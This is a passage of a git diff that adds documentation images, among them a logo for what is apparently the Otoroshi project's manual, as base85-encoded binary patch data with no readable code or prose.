zF|4frYGZPwrzNQiKG;v<{5(>&bS|}sz&K^LHwsXc6b>8A6_yD;>F-#pphB#74iGTF zjeM6k`t47h`I0}y*wn1_Ed@13&x84h&VJgpARStqC*Zv_;BLIN816t}wg6LP5^GvFPZy^UIF`6Zy2Aud|MJ>=V2p&Ph&LSq5kuWbc)| zefWz`RjES7p+S2 zvZn>#z6?Dn0xxWU>ja-XEP+1k57Bb@Z|E;%v(E;Km|{w}^|aLkry8oMS8qvE-2hFF z?;aXxuKEu@ZOns*`k5-z(^h95e^`%@IbhtjMAUlOdzXxt+beE^EN+Bw@b0L!{;Zf@ z%JYL6%qJJ_2qL?_4jFt9I_sC5s2~dL)d^K5;L)_4wb^&h<9k63qDGrKPW}b88g}0sB5=8$fn~e=FPX>V15u^ z7#NkQ-^6o*V?lHSRQ$dl5!4AwIg<(t(ilY0k9^Z8)*}-~q7
w*r)(^Y>ys1G+S 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 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/bw-otoroshi-logo.png b/docs/manual/imgs/bw-otoroshi-logo.png new file mode 100644 index 0000000000000000000000000000000000000000..235f6eaeb067e4104b719fbffdc8fb05682304a9 GIT binary patch literal 81112 zcmYIwbzD{5^YsN$0Y$o{Q@T-7Is~LH9ZD(PA*E7Emvl+PB`>*9Rj&y27YLu-vht%E#cQ3_zA;7 zUe_4{p%Fy>K;hNN@Pt69AqvtGnjX{JO|~}rCuwUJD>Cy~FWWKdQB*>{riS9$fBZ97 zA(!|mZ3zdi)Gj}Nne)-(+3QLc<+~7Tt(ZJZJ)BngBj5J%?uC1XKQQZ= z)qjFFsP=$|OP03`ig$$qiWBWyPL$fsgEK@?Bn^ZbWx*`v&-**AoG?Fm1v;=U4S0+a zondOOu&Q6Vdr(mgxj_e13E{0`V)0lI>(j3xHG}RCz`ij_!Gn{Y4Rb;DKDv$|obIhy z#xA4#{r~+@11eF+ed}`BS~-zLMwao)6tN8Z*am+bN%X)l97*|-fIt+HK%WA?I7OKP zD^ds!CRXb%v7YDqm5LA(I2r^8P5j(wDNu=vcO^lU;B`4`SI${iZa%nHe5!XVpzrCqw@W(<16Yay5KLolIS!9Jm8^)M!t`Ai~sXJ?2hoYw`gTC z)8YkF6OkXYOgUn;*1(*)B!2wQaAa{GWUFIXdm2ujd!htNqHJviMilcT(J1&sAiB+C z&`5n8w1-$SIKk45Z*6}}q%?KJ%l@}}%d~*I5PH?ZAbx(<;uMDB=vkKo=f65b0&13) zjeRg+ZMTN(L1*I0&o(mPW~M7E)-w7fAUJCht0e48C8o9-2CD9II>Udaxkejb5R$lM zm8fmqMsJDJ`}^ts8R72(R%P4#ndt{753navZ5RBhakK{iJNgdkHopSRHkG!OX)aL; z?hIo~p>!i+ZiSey%$Txr*w64n^e_m}P)to7`7jqgcQ5y>9T?7wO({ML?ar_fC~+jG zs^YbCD#QC{;63+gf4b;r{fbzZk@hM1ypc0j838lpy^tPj#Hh%7!RX@zmCo+ zBM}kDZZtQ9E9HRy**nY?r*~^Nz|UfO9l!K9P-)PcP^xot0pBE8N@-_=!Dtiu7Y{P1 zu;}sRYKnNaT*7q-S}XD_?X@S^z{w!(RNnaWBq2nCsRl}L_u#e2a_cN$hKY!(XGeEN4~LP8xjnD;CobLe0Ow1S7g8EW9$2? zvYYZ9+Exbi1EVm$mTO<{4p8Cvry3#6vA(ah&!ymuuqAdfeHGVAG$z@dNZ3&H0>J zAv+Kq5ZBLw8HidjCG&F47sKyEaInJ6N1T<4X@@y&W`efgzv&|$KWp6D^>lsMTH4L7 z;E(t-yjwP~$OG%ysOaL8wf4O}$heDqEM|lIIX1pt8T+VX<3WBLE9}ZGjJ@zKW7s{; z>kE$L@qI0T-yON1>k2=Emx4EjMMO}ir5`DEp-DXFc^0v0cwwoEjGeq}5zp=I`9e6fF!t znxPv~gYriWa?qw2cJ%bDA8Wj1Kz($a%VDvGqQnyiaCQ1VD>ye3jSfELhHyozEL&0} zisirI7V_+ICJmLQ)iG)gOiFStHM8+)Dwhj6B-J^)>?`f3#a;f`={7@X9o(J4*H~=8 zq0cCQr-3SH&v73(BTZU*XTxrD!^Q$aLQ|d8Ui+mOfN-RB^)!d*sE$>!I*=H1_VcJ0 z;y-ozUA{(}CpT$a>rhx|rGB-HhlT>a$jz)I9u8+B?_>O6sCMk8PizWLTr}@Aflp=j z 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 